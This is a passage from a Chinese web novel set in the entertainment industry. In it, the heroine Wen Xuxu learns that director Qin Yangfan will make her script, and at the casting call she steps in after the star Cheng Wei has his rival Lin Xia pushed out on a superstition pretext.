她漫无目的地往前走,高跟鞋敲击地面的声响在喧嚣中显得格外孤独。 霓虹灯下的城市永远繁华,而她的心却像被抽空的壳。 手机在包里震动,她不想看,也不敢看。 黎云笙的第二条信息、第三条信息……她不敢想象那些字句会是怎样的冷漠,或是更残忍的施舍。 她只想逃,逃到一个没有他的世界,哪怕只是暂时的寂静。 温栩栩忽略了黎云笙发来的信息,片刻后深吸一口气,拨通了编剧宋瑜贤的电话。 铃声刚响三声,那头便传来宋瑜贤带着颤音的惊呼:“栩栩?!你现在在哪?我刚接到秦扬帆导演的电话她居然要执导我们的剧本!” 宋瑜贤接到电话整个人都是震惊的,他现在还在跟联系他的导演谈一谈建组的事,结果导演说他已经看过剧本了,现在剧组建好了,演员导演副导演统筹导演也都全部到位了,再过几天挑选好演员就能马上开机。 他都没想到联系自己的会是秦扬帆导演。 秦扬帆是一名女性导演,曾经指导拍摄过两部悬疑剧,偶像剧言情剧也拍的很不错,而且镜头语言很唯美,当时宋瑜贤首先想考虑的就是秦扬帆,没想到秦扬帆会主动联络他。 当时宋瑜贤整个人都是懵的,还当是诈骗电话,等清醒了才听出来声音,确实是秦扬帆导演。 天啊,秦扬帆!那可是秦扬帆! 宋瑜贤现在激动的不行,完全控制不住自己此刻的情绪。 温栩栩被这突如其来的好消息震得愣住,耳畔是他语无伦次的兴奋:“你绝对猜不到!她说剧本写得太好了,悬疑与情感的张力完美平衡,尤其是女主角的弧光设计……天啊,那可是秦扬帆!” 宋瑜贤的嗓音在电话里起伏如浪,温栩栩依稀听见咖啡厅的嘈杂背景,他应该在某个热闹的场合。 “她亲自联系的我!”他重复着,仿佛仍在梦中,“我之前还担心找不到合适的导演,甚至做好了被大导演拒之门庭的准备……结果秦导不仅看了剧本,连分镜都做了初步构思!她说要打造一部‘镜头会呼吸的悬疑剧’!” “我当时只记得你让我修改好剧本到最终版其它的都不是问题,我还以为你在开玩笑,没想到你真的能做到这一步!” 宋瑜贤的激动感染了她,让她暂时忘却了与黎云笙的纠葛。 “服装组已经开始筹备,”宋瑜贤继续滔滔不绝,“现代戏的服装不难,但有几场穿插的古装戏份需要定制,不过秦导说她会亲自把关,确保质感。剧组其他岗位也全部到位——副导演、统筹、摄影指导,都是业内顶尖的!” 她忽然想起自己曾对宋瑜贤说的那句话:“后续的问题我都会解决。” 此刻,那些她暗中斡旋的日夜仿佛化作透明的丝线,终于织成了这张剧组大网。 黎云笙给的资源、韩城的牵线、加上她咬牙向星黛儿争取的合作…… 所有碎片在此刻拼凑成现实。 宋瑜贤还在絮叨:“投资方追加了三成预算!秦导说要有足够的资金才能呈现她想要的视觉效果……栩栩,这简直像一场奇迹!”” 温栩栩嘴角泛起苦笑,却带着暖意。 她想起黎云笙曾漫不经心递来的资源合同,那时她以为那是他的施舍,如今才明白,那是她撬开命运之门的杠杆。 她没想过黎云笙那边这么快就解决好了这些事,她本以为还需要更多时间组建团队的。 宋瑜贤的兴奋仍在持续:“开机时间定在下月初!演员阵容还没最后敲定,但秦导说她会亲自面试,确保每个角色都贴合剧本灵魂……栩栩,你听见了吗?我们要开机了!” 夜色中,帝城的灯火愈发璀璨。 温栩栩握紧手机,指尖微微发烫。 那些被黎云笙的冷漠刺痛的伤口,此刻竟被另一种炽热填满,那是创作的火焰,是梦想即将成真的悸动。 她忽然觉得她找到了比黎云笙那点微不足道的爱更珍贵的东西。 宋瑜贤的信任、秦扬帆的认可、即将诞生的作品……这些才是她该握紧的锚。 “栩栩?”宋瑜贤的声音将她拉回现实。 她深吸一口气,压下喉间的涩意,轻声笑道:“听见了,海选演员的时候我会去的。” “就在明天了,我把地址发给你。”宋瑜贤挂了电话,温栩栩马上收到了宋瑜贤发来的地址。 地址在帝城中心地带,一看就是黎氏大手笔定的地址。 这部剧已经是黎氏投资出品的剧,黎氏出品的,就算是海选演员定的场地也绝不可能寒酸,不然有些人真要以为黎氏要破产了。 温栩栩看着地址内心也只是动摇了一瞬,便立刻打车去这里。 如果黎云笙在她公寓楼下的话,那她暂时先不要回去了,今晚就跟宋瑜贤讨论下剧本的事,等到明天直接选演员。 温栩栩晚上跟宋瑜贤聊剧本其实也没聊多久,只是宋瑜贤确实有点太亢奋了所以困的有些早。 第二天一早海选现场就已经排起了长队。 黎氏出品的金字招牌与秦扬帆导演的名号,像磁石般吸引了娱乐圈各路人马。 十八线小透明们攥紧简历忐忑等候,而成维的出现则掀起了惊涛。 他的粉丝早已将广场攻占成狂欢的海洋。 因为是黎氏出品,这部剧的导演又是秦扬帆,所以来参加试镜的人不仅有十八线小透明,其中还有当红流量男演员“成维”。 成维的相貌其实在娱乐圈算不得最顶尖的,但演技确实可圈可点,因此粉丝很多,不过这位演员算不上顶流,但他的粉丝却觉得这位已经成了真顶流,在圈子里没少拉踩其它流量艺人,所以在圈子里的风评并不怎么好。 不过,也因为这位流量来试戏,所以《灵媒》还没有开拍就已经先火了。 因为成维试镜,粉丝已经开始买上热搜,好像这部剧的男演员已经定了成维,剧组选其他人就是剧组没眼光。 第1029章 海选 #灵媒试镜海选# #成维试镜《灵媒》# 有关成维的话题在热搜榜上灼灼燃烧,成维的经纪团队显然深谙营销之道,热搜词条下铺满了复制粘贴的“控评大军”。粉丝们像训练有素的士兵,将预设的话术化作利箭,射向每一个可能被人质疑的角落 成维的粉丝现在就已经开始在广场上复制粘贴一些话术了,几乎都是在说成维即将参演《灵媒》。 {灵媒即将开牌,我们成维哥哥将在剧中扮演一位拥有反社会人格却又压制住自己内心的超强心理专家!超带感的!期待期待!} {支持哥哥拍《灵媒》!秦扬帆导演还没有跟我们哥哥合作过!秦导只要跟哥哥合作就一定会喜欢用我们哥哥的!} {成维绝绝子!哥哥的演技就是《灵媒》男主角的命定之选!反社会人格超强心理专家这种带感角色,除了我们哥哥谁还能驾驭得住?剧组不选他那就是没眼光!} {前排科普!成维哥哥可是科班出身,台词功底炸裂,微表情管理吊打全娱乐圈!这角色简直就是为他量身定制,导演组要是敢不识货,我们唯粉撕到你们连夜换人!} {笑死,某些十八线小透明也敢来碰瓷我们哥哥的饼?灵媒男主必须是成维!其他流量艺人根本没得比,哥哥的演技直接断层领先!} 粉丝们的话语像病毒般扩散,广场上充斥着“哥哥必拿男主”“成维就是天命之子”的呐喊。更有甚者将其他流量艺人拉踩成垫脚石: {听说某顶流也来试镜了?笑死,他只会耍帅摆pose,演心理专家?别把秦导的剧毁了好吗!成维哥哥才是实力派,求剧组做个人!} {家人们谁懂啊!成维演这种疯批角色绝对会出圈爆火!那些说哥哥没拿过奖的酸鸡闭嘴吧,我们哥哥的演技就是奖项!《灵媒》不选他收视率绝对扑街!} 经纪人在一旁低声催促成维:“趁热度还在,赶紧把角色敲死。男主角必须是你,不然粉丝那边不好交代。”成维故作淡定地调整领带,实则眼角早已瞥向热搜飙升的曲线。 他的大粉“维维最甜”正带头冲锋: {官宣了吗?《灵媒》男主成维!没有成维的灵媒是没有灵魂的!哥哥值得最好的资源,秦导眼光必须在线!不然我们就发动十级虐粉警告!} {姐妹们速速复制!#成维就是灵媒男主# #秦导选成维稳赢# 刷起来!让剧组看看哥哥的排面!其他试镜的都是陪跑,男主之位非他莫属!} 评论区里,粉丝甚至开始虚构“内幕消息”: {内部人员透露,成维已经三试过了!导演当场拍板,其他人都可以回家了!哥哥就是天选男主,坐等官宣!} {小道消息!剧组原本定了其他艺人,但粉丝集体抗议,现在片方连夜改合同!成维必须C位出道!} 这些言论如烈火燎原,引得路人议论纷纷。 有围观群众吐槽:“成维粉丝真是疯狂,还没试镜呢就一副板上钉钉的样子。”但粉丝们对此充耳不闻,只顾疯狂刷屏: {哥哥就是顶流!灵媒男主是他应得的!那些柠檬精别来杠,杠就是你对!} {成维演心理专家?我直接颅内高潮!这剧要是没他我绝对不看!求导演组速速官宣,别逼我们爆破微博!} 甚至有人制作了成维与秦扬帆的P图海报,配文:【秦导+成维=王炸组合!灵媒必爆!其他试镜者趁早退散!】 话题热度一路飙升,仿佛男主角之位早已刻上成维的名字。 而经纪人的嘴角已悄然扬起——热搜在榜,粉丝疯魔,这饼,稳了。 “我跟你说的话你到底记住没有?现在你粉丝已经把话放出去了,如果你被刷下去了,你在圈子里脸就真的丢尽了,而且这是秦导的剧,秦导每次的剧都是大爆剧,能把爽文剧情拍成爆剧还能完全展现男女主绝对美学的就那么几个导演,秦导算是其中的佼佼者,你必须跟秦导搞好关系,以后星途可能会更顺,这条路也更好走。” 经纪人的声音压得极低,却仍带着不容置疑的力度。 成维敷衍地应着,指尖在手机屏幕上划动消消乐,连眼皮都懒得抬。他当然清楚自己的筹码。 流量、话题、粉丝的疯魔,这些足以让剧组妥协。 至于演技? 他嘴角勾起一抹自嘲的笑,那不过是锦上添花的点缀罢了。 “你自己心里也清楚,你拍的那几部剧虽然是爆剧但都没什么质量,不能让你真正升咖。” 经纪人继续敲打。 成维哼笑一声,视线扫过窗外排成长龙的队伍。 那些十八线小透明们缩在烈日下,手里的简历攥得发皱。 “跟我同咖位的几乎都在组里进组了,而那真顶流也没时间,只有我性价比是最高的自带流量,导演只要脑子清醒就绝对会选我。”他笃定地说,仿佛角色已刻在他名下。 “姐,等我拿下这部剧,能不能把女主角先换了,据说他们定的是一个小透明,我可不想捧新人,那不是让新人吸我的血?” 经纪人赶紧附和:“行行行,真的能定下你,你想换女主就换女主,这么点事儿导演肯定能答应你,到时候你再介绍我们公司的女演员拍这个角色,还能搭个人情。” 两人想的明明白白清楚的很,好像这个角色已经是两人的囊中之物了。 等到了现场,在排队的那群人都有些紧张了。 因为成维的咖位在这里流量在这里。 现场的气氛早已被成维的到来搅得暗流涌动。 排队的人群中,几个十八线艺人缩在角落,压低声音议论着。 林夏是其中之一,他攥着简历的手指关节发白,指甲几乎要抠破纸张。 刚毕业的他曾幻想凭实力闯入这浮华世界,可现实却像一盆冷水浇灭所有热情。 “成维都来了……这角色估计就是内定了吧。”他身旁的小艺人也苦笑点头,额角的汗珠在阳光下闪着微光,“他粉丝都把‘官宣’刷上热搜了,剧组哪敢不选他?我们就是来走个过场。” 第1030章 云泥之别 不远处,一个戴鸭舌帽的男生愤愤踢着路边的石子:“凭什么啊?我准备了好久的人物小传,研究了很多心理学案例,可人家流量一来,直接秒杀一切努力!” 他的声音带着颤抖,眼底燃着不甘的火焰。 旁边有人劝慰:“这就是娱乐圈的规矩,你没背景没流量,只能当陪跑,还是选一选其他角色吧,” 话音未落,队伍里突然传来窃窃私语。 成维的经纪人正大步走来,目光如鹰隼般扫过人群。 小艺人们瞬间噤声,低头假装整理资料,生怕被盯上成为“出头鸟”。 林夏望着成维在专属休息室悠哉的身影,喉咙里哽着酸涩。 他的助理正帮他调试补光灯,经纪人捧着冰镇果汁伺候,而室外三十多度的高温下,他们连瓶矿泉水都要省着喝。 他想起自己为这场试镜熬夜背台词,揣摩角色心理层次,甚至设计了三套不同的表演方案……可那些心血,在资本的流量游戏里,或许连一丝涟漪都掀不起。 “说不定秦导真的看重实力呢?”他自我安慰,却连自己都说服不了。 广场上的蝉鸣声此起彼伏,仿佛在嘲笑着她们的痴妄。 突然,休息室的门开了。 成维被经纪人簇拥着走出,粉丝的尖叫如浪潮涌来。 他故作谦虚地向人群挥手,嘴角挂着标准的营业笑容。 林夏看着他的背影,忽然觉得那笑容像一张面具,遮住了所有真实,也遮住了她们这些“蝼蚁”的生存缝隙。 有人小声嘀咕:“看见没?他连妆都化好了,明显就是来走个过场。” 另一个艺人苦笑:“是啊,估计试镜流程就是走个形式,让他表演五分钟,然后直接发签约书。”众人沉默,心知肚明却又无能为力。 烈日将他们的影子拉长,在水泥地上扭曲成卑微的轮廓。 十八线艺人们继续排队,远处,成维的粉丝们举着应援灯牌,口号声震天:“成维就是天命男主!《灵媒》必爆!” 那声音穿透喧嚣,刺进每一个小透明的心脏。 休息室的窗户半开着,盛夏的阳光斜斜切进屋内,在他脚下投下一片斑驳的光影。 他漫不经心地倚向沙发,指尖有一搭没一搭地叩着扶手,忽而抬眼,正撞上林夏望过来的目光。 那人逆着光,轮廓被镀上一层金边,却像根倔强的刺,直直扎进他眼底。 成维眉峰轻挑,唇角勾起一抹讥诮的弧度,眼底的轻蔑如刀刃般刮过去。 林夏的瞳孔猛地收缩,指甲掐进掌心,指节泛出青白,却死死咬住唇,不肯泄出一丝情绪。 成维却被这无声的挑衅激得心头窜火。 他向来最恨这种带着清高底色的眼神,仿佛他们这些在泥潭里打滚的人,永远脏了,臭了,不配与他相提并论。 他倏地坐直,瞥了眼一旁捧着剧本念台词的助理,指尖漫不经心地勾起,像在召一只听话的狗。 “去告诉剧组,”他嗓音裹着寒意,“让那个叫林夏的滚出去。这地方,我不想再看见他。” 助理愣在原地,剧本“啪”地跌在地上。 经纪人闻声皱眉,快步走来:“你又发什么疯?好端端的赶人,不怕闹大了被媒体揪着骂耍大牌?” 成维舌尖顶了顶上颚,嗤笑出声,鼻腔里溢出轻蔑的气音:“那个林夏,就是当初险些拍了《玲珑传》的演员。”经纪人听他提起旧事,面色微变,突然想起那段腌臜的往事。 “不就是你们团以前那个长得最好的小孩儿?”经纪人喃喃道。 成维冷笑一声,眼底的妒火窜得更高。 长得好有什么用?那个蠢货,放着捷径不走,偏要端着科班出身的架子,不肯弯腰讨好老板们。 活该从云端跌进泥沟,沦落到来试镜这种边角角色。 成维与林夏的恩怨,早在那档选秀综艺时就埋下了根。 当年他们以限定男团出道,林夏凭借表演学院科班出身的光环,加上那张撕漫脸,迅速成为公司力捧的对象。 成维记得每次舞台彩排时,林夏总被簇拥在中心,镁光灯追着他转,连导师都夸他“天生要吃这碗饭”。 而自己呢?只能在边角卖力扭动,汗水浸透衬衫,却换不来半个镜头。 妒火在胸腔里烧了整整一年。 团解散那天,成维在酒店床上辗转难眠,突然瞥见《玲珑传》制片人的微信头像在列表里闪烁。 他赤着脚冲进浴室,冷水浇透全身,却仍觉得热血在血管里沸腾。 那一夜,他把自己泡成了最乖顺的礼物,终于换来男主角色的合约。 而林夏?那个蠢货,捧着清高的壳子不肯碎,最后只能眼睁睁看着角色被夺走。 窗外的蝉鸣忽而尖锐起来,成维的耳膜被刺得发疼。 当时谁也没想到那部《玲珑传》会火成现象级。 那时剧组穷得叮当响,演员全是名不见经传的“糊咖”,可对他们来说连小成本网剧的资源都成了香饽饽。 林夏被成维抢了角色,却像哑了嗓子的雀儿,连半句怨言都没吐。 直到制片人那油腻的爪子伸向他,说要他“陪床”才给新资源,林夏当场掀了桌子跳车逃跑,这才被资本彻底冷藏,自此三年,任何像样的角色都与他绝缘。 他只能在剧组里演横尸、扮太监、当被暴打的小厮混混,连台词都不过三句。 而这三年的时间,却足够让成维攀着资本的绳索步步登天。 曾经同团的两个人,如今一个在天,一个在地,泥潭与云端隔着银河般的鸿沟。 此次林夏来参加试镜,正是听闻秦扬帆导演是圈里少有的“金刚钻”,自己就是资本,从不被金主左右。 他攥着最后一丝希望来碰运气,却万万没想到会撞上成维。 成维也没想到这“孽缘”竟在此地重逢,他盯着林夏的背影,目光像毒蛇吐信般黏腻又狠毒。 他太清楚林夏的本事了,当初《玲珑传》最初定的就是林夏,而且林夏长得好演技好,他当然担心。 第1031章 一根手指就能碾死他 这些年林夏没戏拍,却跑去演话剧、音乐剧,台词功底愈发扎实,演技也越来越好。成维怕极了,怕随便谁递个梯子,林夏就能踩着云霞冲天而去,将当年他偷来的荣耀悉数夺回。 他抢过林夏的角色,嘲讽过他的落魄,若林夏东山再起,那些腌臜的旧账岂不被抖个底朝天? 所以成维绝不能看秦扬帆给他机会,哪怕是个配角也不行! 成维的指甲深深掐进掌心,他绝不允许任何人给林夏机会,林夏就该烂在泥潭里,永远当他的垫脚石! “必须把他赶出去!”成维的声音冷得像淬了冰。 经纪人眉心跳了跳,她怎会不知成维干的那些腌臜事? 心里泛起一阵恶心,可转念一想既然注定是敌人,那就最好永远踩在脚下。 他们都是一个想法。 成维都来了,那肯定是要内定成维了,而且成维也没打算做多过分的恶事情,只是赶走林夏而已。 赶走一个人,不算什么吧。 她冲助理使了个眼色,助理立刻如惊弓之鸟般窜了出去。 休息室的窗帘被风吹得簌簌作响,成维盯着窗外林夏僵直的背影,唇角勾起阴狠的笑,你越挣扎,我越要踩碎你的脊梁! 剧组的人都是看菜下碟的,助理去找了剧组的演员导演说明情况,倒是没说是成维的意思,只私说林夏人品有问题,喜欢偷剧组的东西手脚不干净,最好还是让林夏离开剧组,避免有什么其它的麻烦。 这话说得轻巧,却像根毒刺扎进人心。 剧组的人精们立刻嗅到了风向,得罪了成维,那便是个“瘟神”,赶走了省心。 演员导演眯眼一笑,眼底滑过算计的光。 成维的咖位摆在这儿,这角色十有八九是他的囊中之物。 演员导演笑呵呵的应下了,没人觉得这是多大的事儿。 剧组赶一个人那还不容易? 可以说是看你长得不好,名字不好,生辰不好,说会影响我们剧组拍摄,玄学这种东西谁说得准?多少都是有人相信这些的。 多一事不如少一事,索性拿“玄学”当个由头,给几百块钱打发了那没背景的穷小子。反正这种糊咖,碾死了也不过蝼蚁一只。 演员导演找到林夏,林夏身边的人都羡慕的看过来,仿佛林夏马上就要被选去拍戏了,甚至还有人酸酸的开口:“刚才还骂成维是关系户呢,这下自己也被内定了,果然有背景的就是不一样!” 话音未落,演员导演已堆起笑脸走近,那笑却像块假面具,虚得很。 “林先生,感谢您来试镜《灵媒》。”导演的话说得客气,却暗藏刀锋,“不过方才我们剧组的玄学大师算了一卦,说您与我们剧组……生辰对冲,恐会影响拍摄。” 他掏出一张皱巴巴的纸,上面胡乱画着符咒,“您看,要不先请您离开?路费和误工补贴我们照付。” 这话说的算是有礼貌的。 换做是些性子不好的,估计直接把人骂走的。 方才还议论林夏的人瞬间不吱声了。 本来以为是关系户,可没想到是被踢出队伍了。 他抬头望向成维的休息室方向,正撞上成维倚窗而立的影子。 那人唇角勾着笑,像是吞了蜜,又像是淬了毒,眼神斜斜刺过来,满是扭曲的嘲讽。 林夏仿佛听见他在无声讥笑:“你看,我动动手指,你就得滚。” 或许这就是成维要传达的意思,你林夏,永远别想爬起来。只要我活着,你就得烂在泥里。 林夏攥紧拳头,喉头哽着不甘。 他太清楚这样的机会有多难得,秦扬帆导演的戏,是多少演员挤破头都求不来的。 没有背景,没有资本撑腰,他像棵野草,只能靠一场场试镜苟活。 可这次,连试镜的机会都被碾碎了。 “能不能再给我一次机会?”他哑声恳求,声音轻得像在求施舍。 导演却摇头,笑纹里渗出不耐烦:“玄学这东西,宁可信其有啊。林先生,您还是别为难我们了。”周围试镜者们投来或同情或幸灾乐祸的目光,像在看一只被碾断腿的狗。 他听见远处传来的低语,像一群苍蝇在腐肉上嗡鸣。 三年了,他演过太多“被踩进尘埃”的角色,可这次不一样,秦导的戏是真正的机会。他盯着自己磨出茧子的掌心,那里还留着话剧舞台磨出的血痕。 难道又要像三年前那样,眼睁睁看着希望被资本的手撕成碎片? “导演,我并没有看到有玄学大师来剧组,您这边是不是弄错了。”林夏面带微笑的询问,看着很是得体,他想要为他自己争取机会,不想就这么被赶出剧组。 演员导演这才真正正视林夏的样貌。 那人净身高足有183,骨架舒展如松,肩宽腿长,比例堪称完美。面容更是惊绝,眉眼是古典的精致,鼻梁如刀刻般挺拔,五官立体却不显突兀,仿佛水墨画中走出的俊秀公子。现代装能飒爽如风,古装定能风华绝代。 导演喉头滚了滚,心底泛起一丝惋惜。这样一张脸,本该是镜头追着跑的,可如今……他瞥了眼休息室方向,成维的阴影仍蛰伏在窗边,像头伺机而动的狼。 “林先生,实在不好意思,您确实不太适合我们剧组,还是先离开吧。” 导演的声音冷了几分,笑意却僵在脸上。 他清楚,没有资本撑腰的林夏,就像无根的浮萍,成维只需一根手指就能碾碎。 自己不过是个打工的,何必为个“死人”得罪当红流量? 这人得罪了成维,除非是背后真的有资本力捧,否则是没办法站起来的。 他现在这个地位,一个成维一根手指就能碾死他。 他是聪明人,不会为了林夏得罪一个当红流量。 他转身欲走,却听身后传来近乎哀求的声音。 “拜托您让我见一见秦导吧!我真的很想试试他的戏……我演技真的很好,真的!”林夏的声音颤着恳求。 他攥住导演的衣袖,指尖发白,全然不顾周围投来的讥诮目光。 第1032章 一辈子爬不起来 尊严在此时成了碎渣,他只想抓住最后一根稻草。 霎时,那些方才还艳羡林夏“被内定”的人们,此刻像嗅到血腥味的鲨鱼,争相撕咬。 有人本就觉得林夏长得好会很有竞争力,现在见林夏要被赶出剧组却还不肯走顿时七嘴八舌的议论着。 有人尖声嗤笑:“导演都说了犯冲,你还赖着,怕不是想克死整个剧组!” “哇,他这样厚脸皮的留下来,以后剧组出事肯定就都是他克的!” 另一人阴阳怪气附和:“没有这部剧还有其他剧呢,总不能因为你一个人耽误大家前程吧?” 更多人挤过来推搡,有人甚至故意撞他的肩膀:“快走快走!别在这儿晦气人了!” 这群人全都是担心自身权益受损,但现在自身权益没受损,受损的事林夏的权益,谁管他呢? 都是为了自己的利益。 一群人挤在一起全都在嘲讽林夏,像是在怪他没有及时离开。 他们簇拥在一起,像群叽叽喳喳的乌鸦,用唾沫织成网,要将林夏彻底困死。 林夏被人群推得踉跄,喉头酸涩得几乎呕出血来。 林夏喉间发酸发涩的看着眼前的一群人,却还是在苦苦哀求导演在给自己一次机会。 这边吵吵嚷嚷,成维却坐在沙发上,悠哉的品着红茶。 成维斜倚在沙发深处,指尖摩挲着青花瓷茶盏,茶香袅袅升起的雾气遮不住他眼底的讥讽。 当初组合里最可能大爆的人就是林夏,但凡林夏学聪明点早早的找个金主也不会落得这步田地,找男的找女的不都行? 非要装清高! 这圈子里,要么你有人脉有资本,要么你是星二代,如果什么都不是还想闯出来那就期盼自己有无敌的好运气。 如果什么都没有,那就是扑街的命!一辈子爬不起来站不起来! 成维望着这闹哄哄的一幕却觉得得意极了。 当初最被看好的人已经被他彻底的踩在脚下了。 真高兴啊。 他望着人群中被推搡的林夏,像观赏困兽挣扎的猎人,曾经最被看好的苗子,如今不过是个任人践踏的蝼蚁。 娱乐圈这潭浑水,要么攀附金主撕开血路,要么如林夏般装清高,活该被碾成泥! 他嗤笑一声,喉间滚过畅快的低哼,这圈子哪有干净人?林夏不肯低头,那就烂在阴沟里吧! “一辈子爬不起来!”成维暗自冷笑,茶盏磕在茶几上的声响清脆如他踩碎林夏尊严的脆响。 突然,会议室的雕花木门被推开,一道高挑身影逆光而来。 成维的茶盏猛地顿在半空,那女人身段婀娜如柳,冷白皮在日光下泛着玉瓷光泽,琥珀色眸子似淬了冰,红唇却艳如烈霞。她一袭黑缎长裙曳地,行走间裙摆似有暗香浮动,众人呼吸霎时凝滞。 不单成维看呆了,整条排队的长龙皆如被施了定身咒。 演员们见过无数女星,却从未见过这般矛盾的美:,冽与妖娆在她身上竟融洽如双生花。 温栩栩无视众人灼灼目光,径直走向导演,高跟鞋叩地声如敲在人心尖。 方才还喧闹的人群霎时噤声,仿佛她自带静默结界。 他们都是演员,接触了不少娱乐圈的女星,可是能漂亮到这种程度的实属少见。 成维喉头滚动,贪婪目光黏在她颈间细腻肌肤上,茶水灌入喉间竟呛出一声轻咳。 他暗骂自己失态,却忍不住又偷瞥一眼。 而林夏仍被困在漩涡中心。 人群继续尖酸讥讽:“赖着不走,怕不是想勾引导演?” 污言如箭矢扎向他,他却浑然不觉,只死死攥着导演袖口哀求。 温栩栩驻足旁观片刻,冷眸掠过成维扭曲的笑,最终停在林夏被汗湿的额角。 她忽然启唇:“导演,这里发生了什么事?” 众人一震,成维的茶盏终于“咔嚓”裂在掌心。 演员导演见温栩栩走近,脊梁瞬间绷直,堆起谄媚的笑:“温小姐,不是大事,这位林先生不太适合角色,我们正请他先离开,不耽误大家时间。” 他话音未落,温栩栩的目光已经扫过人群,最终落在林夏身上。 那人被推搡得发丝凌乱,却仍固执地昂着头,眼底灼灼的光似要将人灼伤。 她眉梢微挑,嗓音清冷:“你试的是哪个角色?” 林夏也感觉得到演员导演对温栩栩很尊敬,猜着温栩栩的身份应该不一般,可能是有背景的。 林夏如溺水者抓住浮木,嗓音颤着近乎嘶哑:“我想试男主……若不行,男二、男三,甚至反派我都愿意!”他全然不顾周围讥讽的窃语,只死死攥住温栩栩的衣角,像攥住最后一根救命稻草。 温栩栩能感受得到林夏喜欢演戏渴望演戏,很想演戏。 对方好像是完全把她当做了救星。 温栩栩在娱乐圈混过最底层,当然明白对方此刻看向自己的眼神,那就是她曾经看向其他人的眼神。 温栩栩好像透过他,看到了不久前的自己。 “你的相貌……”温栩栩沉吟片刻,“男主需带流量,你或许更适合男二,他是男主身边最亲近的朋友,能文能武,心思缜密。” 她话音未落,林夏的瞳孔骤然亮如星子。 演员助理干笑了一声,觉得自己此刻挺像个笑话的。 “温小姐,这林先生与我们剧组‘对冲’啊!”导演急得额角沁汗,演员导演暗示温栩栩不要胡闹。 压低嗓音暗示,“是成维那边点名要他走,否则……” 温栩栩唇角笑意未减,眼底却沁出冰:“哪里来的玄学大师?既然这样说了,那便请导演将他请来,我也好奇,这位‘大师’如何断人生死。” 她声音温和如春风,却暗藏执拗。 周围人都能看得出来这两人杠上了。 演员导演眼看着温栩栩要让林夏继续留下来参加试镜只觉得心里一颤一颤的。 他赶紧拉拽着温栩栩到一旁小声嘀咕,声线压得极低。 “温小姐,是成维那边说讨厌林夏,所以需要我们剧组把这件事解决好,否则成维那边可能不好交代,温小姐您是这部《灵媒》的女主角,以后还是要跟成维一起合作拍戏的,还是不要跟成维那边杠了。” 第1033章 人精太多了 “而且您这边是女主角还要跟他合作的,现在跟成维方有了矛盾以后做宣传营销都不好做,有了矛盾成维方是不会帮你营销的。” “温小姐,您是女主角,成维是男主……若闹僵了,日后宣传营销怎么办?资方可不会为了您得罪顶流!” 他掌心冷汗涔涔,仿佛已预见风暴。 演员导演仍在苦口婆心劝说温栩栩,她却忽然觉出一丝荒诞的可笑。 娱乐圈这潭浑水,原不止她一人曾被资本盯上、封杀如困兽。 林夏此刻的处境,分明是另一具她曾经的倒影,同样的才华被扼杀,同样的渴望被践踏。 演员导演在劝温栩栩,温栩栩却觉得有点可笑。 她原来这种被娱乐圈内的人盯上封杀的人不止她一个,林夏也是如此。 怪不得看到林夏就好像看到了她自己。 因为这确实就是另一种意义上的自己。 “谁规定男主角一定要是成维了?成维演技很好?”温栩栩问。 演员导演回应:“成维性价比高,他长得好演技也在及格线以上,粉丝基数大,以后剧上映了也好做数据,所以成维的性价比比较高。”他压低嗓音,眼底浮起油腻的精明。 温栩栩轻微皱眉,看来这人虽然坏,但还是有演技的。 温栩栩眉峰微蹙,眼底闪过一丝讥讽。 她自然明白这行业的潜规则,资本喂饲的流量如蝗虫,啃噬艺术却滋养利益。 成维或许确有几分演技,但及格线以上的平庸,配上滔天热度,便成了“完美选择”。 可笑的是,多少人因此被碾成尘埃,连挣扎的声响都湮灭在数据洪流中。 “别的我不管,但绝不能谁开口了就要逼谁离开这一出,就是秦扬帆导演也只是看到有人拍的不好才让人离开,现在他们是来试镜,还是不要多此一举了。” 导演脊梁瞬间绷直,冷汗沿鬓角滑落。 “温小姐说的是,说的是……”导演干笑两声,“我这就安排林先生试镜,您放心。” 他谄媚的弧度背后,心里却想着成维那边如何交代?资方的压力如巨石悬顶……但此刻,只能先敷衍这位煞星。 温栩栩怎会不知他的阳奉阴违?她望着他虚伪的笑,忽觉喉间泛起涩意。 以前她也是被这样针对的。 去参加试镜海选的时候被人忽略,还没等入场就被告知跟剧组“八字不合”为由婉拒,甚至打骂她只会给剧组带来晦气。 她是被剧组骂着赶出公司的,林夏唯一比她好一点的地方是没被骂出去,演员导演的态度还算友好。 见演员导演把自己的话听进去了,温栩栩才打算离开,就对上了休息室内成维的目光。 成维冲她挑了挑眉然后露出了一个友好的微笑,若是温栩栩不知道林夏这事儿,兴许也会对对方笑一笑就过去了当做交个朋友,毕竟成维确实很火。 但是知道这种事,就会想到自己在圈子里面被人针对的事,难免会将自己代入林夏,而成维就成了绝对的恶人,所以温栩栩只是看到成维就会觉得心里有点犯恶心,想吐。 可温栩栩也不是傻子,这么多人都在看着,如果自己对成维太冷淡,难免会被人拍下来做文章,所以还是唇角扯出了一抹笑,好歹敷衍过去。 成维见温栩栩回应自己了,坐在沙发上整个人分外得意的评价:“她绝对喜欢我。” 经纪人实在是不知道成维氏哪里得到的结论,难道就因为温栩栩看了他一眼? “你快别胡闹了,她不就看了你一眼?” “我的粉丝们不也是这样笑着看我的,她那笑跟我粉丝的没什么区别,都是想得到我的笑。” 经纪人:“……” 经纪人听到这个答案颇有些一言难尽,实在不知道成维到底为什么能自信成这样,是真的一点都不觉得尴尬的吗? “行,你开心就好。”经纪人只能敷衍的说了一句。 成维还在乐颠颠的看向窗外,看到自己很多粉丝都在外面,他难得发善心的出了休息室打算去会一会自己的粉丝们。 他心血来潮地推开休息室的门,霎时,尖叫如潮水涌来,大粉看到成维立刻欢呼,举起横幅和应援物料叫喊着成维的名字,粉丝们高举“成维宇宙最帅”“维维子绝绝子”的荧光横幅,应援灯牌汇成星河,连烈日都似被这声势压黯了一分。 其他试镜小演员们缩在角落,脸色苍白如纸,指尖抠紧剧本边缘。 这样做,就好像这是成维的专属见面会欢呼会一样,而他们所有人都被成维这边的人所忽略,成为了随时可以被抛下的人。 粉丝们不知道这些演员内心想了什么此刻都激动的冲到成维面前排好队等着签名合照。 成维心情大好,一一执笔挥洒,龙飞凤舞的签名衬得粉丝尖叫声更大。 成维心情很好的一一应了,还让助理带着人去给粉丝们买了冰奶茶降降暑气,这一波收买也确实是到了粉丝心坎儿上,顿时觉得没有粉错人。 粉丝群里顿时炸开“成维哥哥太贴心”“维维子真的宠粉”的欢呼。 冰奶茶的甜蜜渗入人心,粉丝们捧着纸杯,眼底的崇拜更灼,这不过是成维惯用的公关手段。 